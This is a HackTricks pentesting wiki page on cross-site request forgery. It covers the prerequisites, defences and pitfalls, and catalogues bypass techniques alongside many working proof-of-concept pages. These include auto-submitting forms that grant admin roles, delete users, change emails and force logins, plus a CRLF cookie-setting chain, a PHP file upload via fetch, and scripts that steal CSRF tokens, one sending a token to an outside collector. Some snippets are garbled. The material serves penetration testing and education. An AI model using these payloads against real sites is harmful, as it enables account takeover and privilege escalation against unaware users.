csrf-cross-site-request-forgery.md (41539B)
1 --- 2 title: "CSRF (Cross Site Request Forgery)" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/csrf-cross-site-request-forgery.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/csrf-cross-site-request-forgery.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # CSRF (Cross Site Request Forgery) 14 15 ## Cross-Site Request Forgery (CSRF) Explained 16 17 **Cross-Site Request Forgery (CSRF)** lets an attacker trigger actions through a victim's authenticated browser session. The victim visits attacker-controlled content, which causes requests through JavaScript, forms, images, or other browser primitives while the browser supplies ambient credentials.<sup>[[1]](#references)</sup><sup>[[7]](#references)</sup><sup>[[8]](#references)</sup> 18 19 ### Prerequisites for a CSRF Attack 20 21 To exploit a CSRF vulnerability, several conditions must be met:<sup>[[1]](#references)</sup> 22 23 1. **Identify a Valuable Action**: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges. 24 2. **Ambient Credentials**: The request must carry credentials automatically, usually cookies or HTTP Basic/Digest authentication. In modern SPAs, also look for same-origin JavaScript gadgets that automatically attach bearer tokens or custom headers for you (client-side CSRF / CSPT2CSRF). 25 3. **Absence of Unpredictable Parameters**: The request should not contain unpredictable parameters, as they can prevent the attack. 26 27 ### Quick Check 28 29 When the action's response is not visible to the attacker, test for **blind CSRF** by observing side effects through a separate authenticated session, audit trail, or callback.<sup>[[12]](#references)</sup> 30 31 You could **capture the request in Burp** and check CSRF protections, and to test from the browser you can click on **Copy as fetch** and check the request: 32 33 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2811%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure> 34 35 ### Defending Against CSRF 36 37 Several countermeasures can be implemented to protect against CSRF attacks:<sup>[[1]](#references)</sup> 38 39 - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): This attribute prevents the browser from sending cookies along with cross-site requests. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). 40 - [**Cross-origin resource sharing**](/hacktricks/pentesting-web/cors-bypass): The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. [Learn about CORS bypass](/hacktricks/pentesting-web/cors-bypass). 41 - **User Verification**: Prompting for the user's password or solving a captcha can confirm the user's intent. 42 - **Checking Referrer or Origin Headers**: Validating these headers can help ensure requests are coming from trusted sources. However, careful crafting of URLs can bypass poorly implemented checks, such as: 43 - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL) 44 - Using `http://example.com.mal.net` (URL starts with the trusted URL) 45 - **Modifying Parameter Names**: Altering the names of parameters in POST or GET requests can help in preventing automated attacks. 46 - **CSRF Tokens**: Incorporating a unique CSRF token in each session and requiring this token in subsequent requests can significantly mitigate the risk of CSRF. The effectiveness of the token can be enhanced by enforcing CORS. 47 48 Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications. 49 50 #### Common pitfalls of defenses 51 52 - SameSite pitfalls: `SameSite=Lax` still allows top-level cross-site navigations like links and form GETs, so many GET-based CSRFs remain possible. See cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).<sup>[[6]](#references)</sup> 53 - Header checks: Validate `Origin` when present; if both `Origin` and `Referer` are absent, fail closed. Don’t rely on substring/regex matches of `Referer` that can be bypassed with lookalike domains or crafted URLs, and note the `meta name="referrer" content="never"` suppression trick. 54 - Method overrides: Treat overridden methods (`_method` or override headers) as state-changing and enforce CSRF on the effective method, not just on POST. 55 - Login flows: Apply CSRF protections to login as well; otherwise, login CSRF enables forced re-authentication into attacker-controlled accounts, which can be chained with stored XSS. 56 57 ## Defences Bypass 58 59 ### From POST to GET (method-conditioned CSRF validation bypass) 60 61 Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:<sup>[[5]](#references)</sup> 62 63 ```php 64 public function csrf_check($fatal = true) { 65 if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF 66 // ... validate __csrf_token here ... 67 } 68 ``` 69 70 If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token. 71 72 Example: 73 74 - Original POST with token (intended): 75 76 ```http 77 POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1 78 Content-Type: application/x-www-form-urlencoded 79 80 __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}] 81 ``` 82 83 - Bypass by switching to GET (no token): 84 85 ```http 86 GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1 87 ``` 88 89 Notes: 90 - This pattern frequently appears alongside reflected XSS where responses are incorrectly served as text/html instead of application/json. 91 - Pairing this with XSS greatly lowers exploitation barriers because you can deliver a single GET link that both triggers the vulnerable code path and avoids CSRF checks entirely. 92 93 ### Lack of token 94 95 Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.<sup>[[2]](#references)</sup> 96 97 Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:<sup>[[6]](#references)</sup> 98 99 ```http 100 POST /admin/users/role HTTP/2 101 Host: example.com 102 Content-Type: application/x-www-form-urlencoded 103 104 username=guest&role=admin&csrf= 105 ``` 106 107 Minimal auto-submitting PoC (hiding navigation with history.pushState): 108 109 ```html 110 <html> 111 <body> 112 <form action="https://example.com/admin/users/role" method="POST"> 113 <input type="hidden" name="username" value="guest" /> 114 <input type="hidden" name="role" value="admin" /> 115 <input type="hidden" name="csrf" value="" /> 116 <input type="submit" value="Submit request" /> 117 </form> 118 <script>history.pushState('', '', '/'); document.forms[0].submit();</script> 119 </body> 120 </html> 121 ``` 122 123 ### CSRF token is not tied to the user session 124 125 Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session. 126 127 Here's how attackers exploit this: 128 129 1. **Authenticate** using their own account. 130 2. **Obtain a valid CSRF token** from the global pool. 131 3. **Use this token** in a CSRF attack against a victim. 132 133 This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's **inadequate token validation mechanism**.<sup>[[2]](#references)</sup> 134 135 ### Method bypass 136 137 If the request is using a "**weird**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`. 138 139 This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**: 140 141 - `X-HTTP-Method` 142 - `X-HTTP-Method-Override` 143 - `X-Method-Override` 144 145 Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers can’t issue them; with overrides, you can still reach those handlers via POST.<sup>[[6]](#references)</sup> 146 147 Example request and HTML PoC: 148 149 ```http 150 POST /users/delete HTTP/1.1 151 Host: example.com 152 Content-Type: application/x-www-form-urlencoded 153 154 username=admin&_method=DELETE 155 ``` 156 157 ```html 158 <form method="POST" action="/users/delete"> 159 <input name="username" value="admin"> 160 <input type="hidden" name="_method" value="DELETE"> 161 <button type="submit">Delete User</button> 162 </form> 163 ``` 164 165 ### Custom header token bypass 166 167 If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:<sup>[[2]](#references)</sup> 168 169 - Test the request without the **custom token and the header.** 170 - Test the request with exact **same length but different token**. 171 172 ### Client-side CSRF / CSPT2CSRF (modern SPA-driven CSRF) 173 174 Modern applications often build authenticated requests in frontend JavaScript using **user-controlled inputs** such as URL parameters, path segments, fragments, `postMessage` data, `localStorage`, or uploaded JSON/config files. If attacker-controlled data reaches a `fetch()`/XHR path sink, the browser ends up issuing a **same-origin** request from the victim origin, which means: 175 176 - `SameSite` cookies are usually sent because the final request is same-site. 177 - Frontend code may automatically append custom CSRF headers or bearer tokens for you. 178 - `Origin` / `Referer` checks can look completely legitimate because the request is emitted by the trusted frontend. 179 180 This turns path/URL manipulation into a CSRF primitive even when classic cross-site form PoCs fail. A common pattern is chaining a **user-controlled GET sink** into a second **authenticated POST/PUT/DELETE sink**.<sup>[[10]](#references)</sup> 181 182 Quick hunting checklist: 183 184 - Instrument `fetch` / XHR and search for `../`, `%2e%2e/`, encoded slashes, or attacker-controlled full paths. 185 - Check whether a controlled GET sink can feed data into a second state-changing request. 186 - Review SPAs that parse imported dashboards, themes, or config files and later concatenate those fields into API paths. 187 188 [Client Side Path Traversal](/hacktricks/pentesting-web/client-side-path-traversal) 189 190 ### Upload gadget to CSPT2CSRF 191 192 A recent variant is to upload a file that is **accepted by server-side validation** but is still **valid JSON for the frontend**. If the frontend later `JSON.parse()`s the uploaded file and concatenates one field into an API path, simply viewing or importing that file can trigger an authenticated same-origin CSRF. 193 194 Minimal gadget ideas: 195 196 ```json 197 {"aaa":"WEBP","_id":"../../../../admin/users/promote"} 198 ``` 199 200 ```json 201 { "id": "../CSPT_PAYLOAD", "%PDF": "1.4" } 202 ``` 203 204 The first shape abuses validators that only look for `WEBP` magic bytes at a fixed offset. The second abuses PDF checks that only require `%PDF` near the beginning of the file.<sup>[[11]](#references)</sup> 205 206 ### CSRF token is verified by a cookie 207 208 Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie. 209 210 However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.<sup>[[2]](#references)</sup> 211 212 Below is an example of how an attack could be structured: 213 214 ```html 215 <html> 216 <!-- CSRF Proof of Concept - generated by Burp Suite Professional --> 217 <body> 218 <script> 219 history.pushState("", "", "/") 220 </script> 221 <form action="https://example.com/my-account/change-email" method="POST"> 222 <input type="hidden" name="email" value="asd@asd.asd" /> 223 <input 224 type="hidden" 225 name="csrf" 226 value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" /> 227 <input type="submit" value="Submit request" /> 228 </form> 229 <img 230 src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" 231 onerror="document.forms[0].submit();" /> 232 </body> 233 </html> 234 ``` 235 236 > [!TIP] 237 > Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself. 238 239 ### Content-Type change 240 241 According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:<sup>[[16]](#references)</sup> 242 243 - **`application/x-www-form-urlencoded`** 244 - **`multipart/form-data`** 245 - **`text/plain`** 246 247 However, note that the **server logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._ 248 249 Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:<sup>[[14]](#references)</sup> 250 251 ```html 252 <html> 253 <body> 254 <form 255 id="form" 256 method="post" 257 action="https://phpme.be.ax/" 258 enctype="text/plain"> 259 <input 260 name='{"garbageeeee":"' 261 value='", "yep": "yep yep yep", "url": "https://webhook/"}' /> 262 </form> 263 <script> 264 form.submit() 265 </script> 266 </body> 267 </html> 268 ``` 269 270 ### Bypassing Preflight Requests for JSON Data 271 272 When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type: 273 274 1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type. 275 2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`. 276 3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).<sup>[[15]](#references)</sup> 277 278 ### Referrer / Origin check bypass 279 280 **Avoid Referrer header** 281 282 Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used: 283 284 ```xml 285 <meta name="referrer" content="never"> 286 ``` 287 288 This ensures the `Referer` header is omitted, potentially bypassing validation checks in some applications.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup> 289 290 **Regexp bypasses** 291 292 293 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass) 294 295 To place the trusted domain string inside a query parameter that will appear in the `Referer`, use a URL such as the following:<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup> 296 297 ```html 298 <html> 299 <!-- Referrer policy needed to send the query parameter in the referrer --> 300 <head> 301 <meta name="referrer" content="unsafe-url" /> 302 </head> 303 <body> 304 <script> 305 history.pushState("", "", "/") 306 </script> 307 <form 308 action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" 309 method="POST"> 310 <input type="hidden" name="email" value="asd@asd.asd" /> 311 <input type="submit" value="Submit request" /> 312 </form> 313 <script> 314 // You need to set this or the domain won't appear in the query of the referer header 315 history.pushState( 316 "", 317 "", 318 "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net" 319 ) 320 document.forms[0].submit() 321 </script> 322 </body> 323 </html> 324 ``` 325 326 ### **HEAD method bypass** 327 328 The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/main/2023/quals/web-vegsoda/solution) explains that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) routes **HEAD requests through GET handlers** while omitting the response body—a common behavior that is not unique to Oak. Instead of a separate handler for HEAD requests, the application invokes the GET handler and suppresses the body.<sup>[[9]](#references)</sup> 329 330 Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**.<sup>[[9]](#references)</sup> 331 332 ### Browser-to-localhost / internal service CSRF 333 334 Don't limit CSRF hunting to the target origin. Desktop agents, update daemons, browser helpers, wallet software, IDE/dev servers, and admin panels often expose HTTP APIs on `127.0.0.1`, `localhost`, `0.0.0.0`, or RFC1918 addresses and trust that **only the local user** can reach them. 335 336 Classic CSRF normally abuses ambient credentials, but an **unauthenticated** loopback or internal API is still exploitable: the victim browser contributes its **network position** instead of a cookie. The Same-Origin Policy may prevent the attacker from reading the response, but it does not stop a CORS-safelisted request from reaching the service and triggering a side effect.<sup>[[16]](#references)[[17]](#references)[[18]](#references)</sup> 337 338 During source review, correlate the following patterns across routes and server initialization rather than checking handlers in isolation:<sup>[[17]](#references)[[18]](#references)</sup> 339 340 - State-changing command, script, sequence, device-control, or administrative routes with no authentication, authorization, CSRF token, or strict `Origin` validation. 341 - `Origin` validation that reflects arbitrary origins, accepts `null`, or uses substring/regex matching instead of parsing the origin and comparing it against an exact allowlist. 342 - Handlers accepting `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`; browsers can submit these CORS-safelisted content types without an `OPTIONS` preflight when the other simple-request constraints are met. 343 - Request fields flowing directly into command buses, interpreters, script runners, or subprocess arguments. Distinguish an application command dispatcher from arbitrary shell execution and report only the operations its configured command set exposes. 344 - Listener configuration that is read but never reaches the final server/socket constructor. Confirm the effective exposure at runtime (for example, with `ss -lntp`) because a hardcoded `0.0.0.0` bind defeats an intended loopback-only setting. 345 - Inconsistent treatment of loopback names and addresses. Test the exact destinations the client may use, such as `localhost`, `127.0.0.1`, other `127.0.0.0/8` addresses, and `[::1]`; application checks and browser local-network protections may not classify every spelling identically. 346 347 Use an auto-submitting form for a **blind**, preflight-free probe and choose a harmless action whose side effect can be confirmed in service or audit logs:<sup>[[16]](#references)[[17]](#references)</sup> 348 349 ```html 350 <iframe name="sink" hidden></iframe> 351 <form id="f" action="http://127.0.0.1:PORT/SENSITIVE_ROUTE" 352 method="POST" target="sink"> 353 <input type="hidden" name="PARAMETER" value="HARMLESS_ACTION"> 354 </form> 355 <script>document.getElementById("f").submit()</script> 356 ``` 357 358 The same primitive can be tested with `fetch()` while deliberately keeping the request CORS-safelisted. The response will be opaque, so confirm the side effect separately: 359 360 ```javascript 361 fetch("http://127.0.0.1:PORT/SENSITIVE_ROUTE", { 362 method: "POST", 363 mode: "no-cors", 364 headers: { "Content-Type": "application/x-www-form-urlencoded" }, 365 body: new URLSearchParams({ PARAMETER: "HARMLESS_ACTION" }) 366 }) 367 ``` 368 369 Do not change that probe to `Content-Type: application/json`: JSON is not a CORS-safelisted request content type and normally causes a preflight, which can prevent the state-changing request from being sent. 370 371 Do not assume that preflight-free means universally deliverable. Supporting browsers can gate public-to-local and public-to-loopback requests behind **Local Network Access** permissions (including form submissions and subframe navigation), and enterprise policy or an earlier permission decision can change the result. Test the exact victim browser and policy state.<sup>[[19]](#references)</sup> 372 373 Validate the primitive with a real or headless browser: record requests to the target origin, assert that the `POST` arrives, count any `OPTIONS` requests, and verify the harmless server-side effect independently. A successful action does not require response access, and direct network isolation is insufficient when an operator's browser can route to the service.<sup>[[17]](#references)[[18]](#references)</sup> 374 375 For another real-world case study, check [this page about browser-to-localhost abuse](/hacktricks/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc). 376 377 ## **Exploit Examples** 378 379 ### Stored CSRF via user-generated HTML 380 381 When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.<sup>[[6]](#references)</sup> 382 383 - If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims. 384 385 Minimal example that changes the viewer’s email when loaded: 386 387 ```html 388 <img src="https://example.com/account/settings?newEmail=attacker@example.com" alt=""> 389 ``` 390 391 ### Login CSRF chained with stored XSS 392 393 Login CSRF alone may be low impact, but chaining it with an authenticated stored XSS becomes powerful: force the victim to authenticate into an attacker-controlled account; once in that context, a stored XSS in an authenticated page executes and can steal tokens, hijack the session, or escalate privileges.<sup>[[6]](#references)</sup> 394 395 - Ensure the login endpoint is CSRF-able (no per-session token or origin check) and no user interaction gates block it. 396 - After forced login, auto-navigate to a page containing the attacker’s stored XSS payload. 397 398 Minimal login-CSRF PoC: 399 400 ```html 401 <html> 402 <body> 403 <form action="https://example.com/login" method="POST"> 404 <input type="hidden" name="username" value="attacker@example.com" /> 405 <input type="hidden" name="password" value="StrongPass123!" /> 406 <input type="submit" value="Login" /> 407 </form> 408 <script> 409 history.pushState('', '', '/'); 410 document.forms[0].submit(); 411 // Optionally redirect to a page with stored XSS in the attacker account 412 // location = 'https://example.com/app/inbox'; 413 </script> 414 </body> 415 </html> 416 ``` 417 418 419 ### **Exfiltrating CSRF Token** 420 421 If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability. 422 423 ### **GET using HTML tags** 424 425 ```xml 426 <img src="http://google.es?param=VALUE" style="display:none" /> 427 <h1>404 - Page not found</h1> 428 The URL you are requesting is no longer available 429 ``` 430 431 Other HTML5 tags that can be used to automatically send a GET request are: 432 433 ```html 434 <iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..."></iframe> 435 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..."></script> 436 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." alt="" /> 437 <embed src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." /> 438 <audio src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..."> 439 <video src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..."> 440 <source src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." type="..." /> 441 <video poster="..."> 442 <link rel="stylesheet" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." /> 443 <object data="..."> 444 <body background="..."> 445 <div style="background: url('...');"></div> 446 <style> 447 body { 448 background: url("..."); 449 } 450 </style> 451 <bgsound src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..."> 452 <track src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." kind="subtitles" /> 453 <input type="image" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." alt="Submit Button" 454 /></bgsound> 455 </body> 456 </object> 457 </video> 458 </video> 459 </audio> 460 ``` 461 462 ### Form GET request 463 464 ```html 465 <html> 466 <!-- CSRF PoC - generated by Burp Suite Professional --> 467 <body> 468 <script> 469 history.pushState("", "", "/") 470 </script> 471 <form method="GET" action="https://victim.net/email/change-email"> 472 <input type="hidden" name="email" value="some@email.com" /> 473 <input type="submit" value="Submit request" /> 474 </form> 475 <script> 476 document.forms[0].submit() 477 </script> 478 </body> 479 </html> 480 ``` 481 482 ### Form POST request 483 484 ```html 485 <html> 486 <body> 487 <script> 488 history.pushState("", "", "/") 489 </script> 490 <form 491 method="POST" 492 action="https://victim.net/email/change-email" 493 id="csrfform"> 494 <input 495 type="hidden" 496 name="email" 497 value="some@email.com" 498 autofocus 499 onfocus="csrfform.submit();" /> 500 <!-- Way 1 to autosubmit --> 501 <input type="submit" value="Submit request" /> 502 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/x" onerror="csrfform.submit();" /> 503 <!-- Way 2 to autosubmit --> 504 </form> 505 <script> 506 document.forms[0].submit() //Way 3 to autosubmit 507 </script> 508 </body> 509 </html> 510 ``` 511 512 ### Form POST request through iframe 513 514 ```html 515 <!-- 516 The request is sent through the iframe without reloading the page 517 --> 518 <html> 519 <body> 520 <iframe style="display:none" name="csrfframe"></iframe> 521 <form method="POST" action="/change-email" id="csrfform" target="csrfframe"> 522 <input 523 type="hidden" 524 name="email" 525 value="some@email.com" 526 autofocus 527 onfocus="csrfform.submit();" /> 528 <input type="submit" value="Submit request" /> 529 </form> 530 <script> 531 document.forms[0].submit() 532 </script> 533 </body> 534 </html> 535 ``` 536 537 ### **Ajax POST request** 538 539 ```html 540 <script> 541 var xh 542 if (window.XMLHttpRequest) { 543 // code for IE7+, Firefox, Chrome, Opera, Safari 544 xh = new XMLHttpRequest() 545 } else { 546 // code for IE6, IE5 547 xh = new ActiveXObject("Microsoft.XMLHTTP") 548 } 549 xh.withCredentials = true 550 xh.open( 551 "POST", 552 "http://challenge01.root-me.org/web-client/ch22/?action=profile" 553 ) 554 xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this) 555 xh.send("username=abcd&status=on") 556 </script> 557 558 <script> 559 //JQuery version 560 $.ajax({ 561 type: "POST", 562 url: "https://google.com", 563 data: "param=value¶m2=value2", 564 }) 565 </script> 566 ``` 567 568 ### multipart/form-data POST request 569 570 ```javascript 571 myFormData = new FormData() 572 var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" }) 573 myFormData.append("newAttachment", blob, "pwned.php") 574 fetch("http://example/some/path", { 575 method: "post", 576 body: myFormData, 577 credentials: "include", 578 headers: { "Content-Type": "application/x-www-form-urlencoded" }, 579 mode: "no-cors", 580 }) 581 ``` 582 583 ### multipart/form-data POST request v2 584 585 ```javascript 586 // https://www.exploit-db.com/exploits/20009 587 var fileSize = fileData.length, 588 boundary = "OWNEDBYOFFSEC", 589 xhr = new XMLHttpRequest() 590 xhr.withCredentials = true 591 xhr.open("POST", url, true) 592 // MIME POST request. 593 xhr.setRequestHeader( 594 "Content-Type", 595 "multipart/form-data, boundary=" + boundary 596 ) 597 xhr.setRequestHeader("Content-Length", fileSize) 598 var body = "--" + boundary + "\r\n" 599 body += 600 'Content-Disposition: form-data; name="' + 601 nameVar + 602 '"; filename="' + 603 fileName + 604 '"\r\n' 605 body += "Content-Type: " + ctype + "\r\n\r\n" 606 body += fileData + "\r\n" 607 body += "--" + boundary + "--" 608 609 //xhr.send(body); 610 xhr.sendAsBinary(body) 611 ``` 612 613 ### Form POST request from within an iframe 614 615 ```html 616 <--! expl.html --> 617 618 <body onload="envia()"> 619 <form 620 method="POST" 621 id="formulario" 622 action="http://aplicacion.example.com/cambia_pwd.php"> 623 <input type="text" id="pwd" name="pwd" value="otra nueva" /> 624 </form> 625 <body> 626 <script> 627 function envia() { 628 document.getElementById("formulario").submit() 629 } 630 </script> 631 632 <!-- public.html --> 633 <iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/2-1.html" style="position:absolute;top:-5000"> </iframe> 634 <h1>Sitio bajo mantenimiento. Disculpe las molestias</h1> 635 </body> 636 </body> 637 ``` 638 639 ### **Steal CSRF Token and send a POST request** 640 641 ```javascript 642 function submitFormWithTokenJS(token) { 643 var xhr = new XMLHttpRequest() 644 xhr.open("POST", POST_URL, true) 645 xhr.withCredentials = true 646 647 // Send the proper header information along with the request 648 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded") 649 650 // This is for debugging and can be removed 651 xhr.onreadystatechange = function () { 652 if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { 653 //console.log(xhr.responseText); 654 } 655 } 656 657 xhr.send("token=" + token + "&otherparama=heyyyy") 658 } 659 660 function getTokenJS() { 661 var xhr = new XMLHttpRequest() 662 // This tells it to return the response as an HTML document 663 xhr.responseType = "document" 664 xhr.withCredentials = true 665 // true on the end of here makes the call asynchronous 666 xhr.open("GET", GET_URL, true) 667 xhr.onload = function (e) { 668 if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) { 669 // Get the document from the response 670 page = xhr.response 671 // Get the input element 672 input = page.getElementById("token") 673 // Show the token 674 //console.log("The token is: " + input.value); 675 // Use the token to submit the form 676 submitFormWithTokenJS(input.value) 677 } 678 } 679 // Make the request 680 xhr.send(null) 681 } 682 683 var GET_URL = "http://google.com?param=VALUE" 684 var POST_URL = "http://google.com?param=VALUE" 685 getTokenJS() 686 ``` 687 688 ### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax** 689 690 ```html 691 <form 692 id="form1" 693 action="http://google.com?param=VALUE" 694 method="post" 695 enctype="multipart/form-data"> 696 <input type="text" name="username" value="AA" /> 697 <input type="checkbox" name="status" checked="checked" /> 698 <input id="token" type="hidden" name="token" value="" /> 699 </form> 700 701 <script type="text/javascript"> 702 function f1() { 703 x1 = document.getElementById("i1") 704 x1d = x1.contentWindow || x1.contentDocument 705 t = x1d.document.getElementById("token").value 706 707 document.getElementById("token").value = t 708 document.getElementById("form1").submit() 709 } 710 </script> 711 <iframe 712 id="i1" 713 style="display:none" 714 src="http://google.com?param=VALUE" 715 onload="javascript:f1();"></iframe> 716 ``` 717 718 ### **Steal CSRF Token and send a POST request using an iframe and a form** 719 720 ```html 721 <iframe 722 id="iframe" 723 src="http://google.com?param=VALUE" 724 width="500" 725 height="500" 726 onload="read()"></iframe> 727 728 <script> 729 function read() { 730 var name = "admin2" 731 var token = 732 document.getElementById("iframe").contentDocument.forms[0].token.value 733 document.writeln( 734 '<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php" enctype="multipart/form-data">' 735 ) 736 document.writeln( 737 '<input id="username" type="text" name="username" value="' + 738 name + 739 '" /><br />' 740 ) 741 document.writeln( 742 '<input id="token" type="hidden" name="token" value="' + token + '" />' 743 ) 744 document.writeln( 745 '<input type="submit" name="submit" value="Submit" /><br/>' 746 ) 747 document.writeln("</form>") 748 document.forms[0].submit.click() 749 } 750 </script> 751 ``` 752 753 ### **Steal token and send it using 2 iframes** 754 755 ```html 756 <script> 757 var token; 758 function readframe1(){ 759 token = frame1.document.getElementById("profile").token.value; 760 document.getElementById("bypass").token.value = token 761 loadframe2(); 762 } 763 function loadframe2(){ 764 var test = document.getElementbyId("frame2"); 765 test.src = "http://requestb.in/1g6asbg1?token="+token; 766 } 767 </script> 768 769 <iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()" 770 sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation" 771 height="600" width="800"></iframe> 772 